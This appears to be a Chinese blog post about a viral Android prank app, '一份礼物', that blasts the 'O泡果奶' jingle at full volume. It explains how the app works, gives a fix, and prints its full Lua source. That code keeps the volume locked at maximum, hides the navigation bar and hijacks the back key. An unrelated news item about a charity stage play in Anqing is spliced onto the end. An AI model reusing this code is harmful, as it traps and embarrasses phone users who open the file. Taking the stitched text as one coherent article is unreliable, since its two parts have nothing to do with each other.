o泡果奶一份礼物安装包与生命是一份礼物

近日,一个“名为一个礼物”的文件在大学中传播开来,手机只要点开就会强制播放“o泡果奶”的魔性广告声,中招者会因该原因产生“社会性死亡”。该文件疑似为木马病毒?

B站链接:

https://b23.tv/bU6LT4

https://b23.tv/mxbkDy

抖音链接:

https://v.douyin.com/JfPBqPQ/

https://v.douyin.com/JfPMQYa/

https://v.douyin.com/JfPLhn2/

https://v.douyin.com/JfPaKkW/

https://v.douyin.com/JfPhwNa/

https://v.douyin.com/JfP5nM3/

不过这还不算什么,好不容易骗取了使用者的信任和手机权限,结果中了恶意程序的之后,只是放一段欧泡果奶?

这玩意以前也流行过一次,我记得是开家长会的时候,当时有一个同学点开了,不过那时候点开之后直接最大音量直接放一个女性浪叫的声音,关还关不掉,那才是真正的社会性死亡。

而且出现人传人现象,很多人去恶搞坑害朋友。

降低杀伤力来提高传播力,相比浪叫,低杀伤的O泡可能会有更多人选择传播。

跟研究流感病毒模型似的,这很新冠,新冠直呼内行

这个程序的源码也就20行,Lua脚本

里面只有一个循环,劫持你的返回键,然后把音量开最大,但是循环执行非常快所以你的音量是调不下来的。至于截图那是因为这个Lua模块本身封装了这个功能,实际没有调用过。

解决方案:使用任务管理直接kill掉,就是你日常切换视图还能清内存的那个手势/按键。

这次的果奶和去年的ta是同一份程序,包名和版本号都没改,就改了个背景音乐。

想逆向实践看源码的可以找点Lua逆向工具,没混淆也没加密。

代码如下:

-- main.lua --

require("import")

import("android.app.*")

import("android.os.*")

import("android.widget.*")

import("android.view.*")

import("android.view.View")

import("android.content.Context")

import("android.media.MediaPlayer")

import("
android.media.AudioManager") -- 音量控制模块

import("com.androlua.Ticker") -- Ticker:定时触发器

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) --音量调大

activity.getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_HIDE_NAVIGATION | View.SYSTEM_UI_FLAG_IMMERSIVE)

m = MediaPlayer() --播放器

m.reset()

m.setDataSource(activity.getLuaDir() .. "/mc.mp3") -- 引用包里的“O泡果奶”

m.prepare()

m.start()

m.setLooping(true)

ti = Ticker() --计时器计时触发

ti.Period = 10 -- 间隔为10ms

function ti.onTick() -- 设置ticker要触发的函数

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) -- 和上面一模一样

activity.getDecorView().setSystemUiVisibility(
View.SYSTEM_UI_FLAG_HIDE_NAVIGATION |
View.SYSTEM_UI_FLAG_IMMERSIVE) -- 隐藏navbar等

end

ti.start() -- 开启ticker,每10ms执行一次上面的函数

function onKeyDown(A0_0, A1_1) -- 监听按键,不调用外部方法的话就相当于劫持下来了

if string.find(tostring(A1_1), "KEYCODE_BACK") ~= nil then -- 如果按键是返回键

activity.getSystemService(Context.AUDIO_SERVICE).setStreamVolume(AudioManager.STREAM_MUSIC, 15, AudioManager.FLAG_SHOW_UI) -- 设置音量为最大

end -- 相当于把返回键变成了音量最大键

return true

end

1月13日,由迎江区委统战部、区残联、区妇联、区工商联、团区委共同主办,安庆慧灵承办的慈善答谢会暨《生命是一份礼物》舞台剧首演在石化俱乐部举行,市政协副主席洪爱敏、市妇联副主席华文红,迎江区委常委、组织部长、统战部长陈海维出席活动,近千人剧场座无虚席。

活动上播放了慧灵公益宣传片,安庆慧灵“领头雁”徐晓健女士深情致词并为爱心单位、团体、志愿者颁发证书,本真出演《生命是一份礼物》的慧灵残障儿童和老师们首演成功,给现场观众留下了深刻印象,也接受了一场触碰心灵的精神洗礼。

安庆迎江慧灵扶助中心创办于2015年7月,填补了安庆地区16岁以上心智障碍群体服务、就业、托养的空白,用人性化的服务理念和模式,让一个个看似不完美的生命活得更有尊严。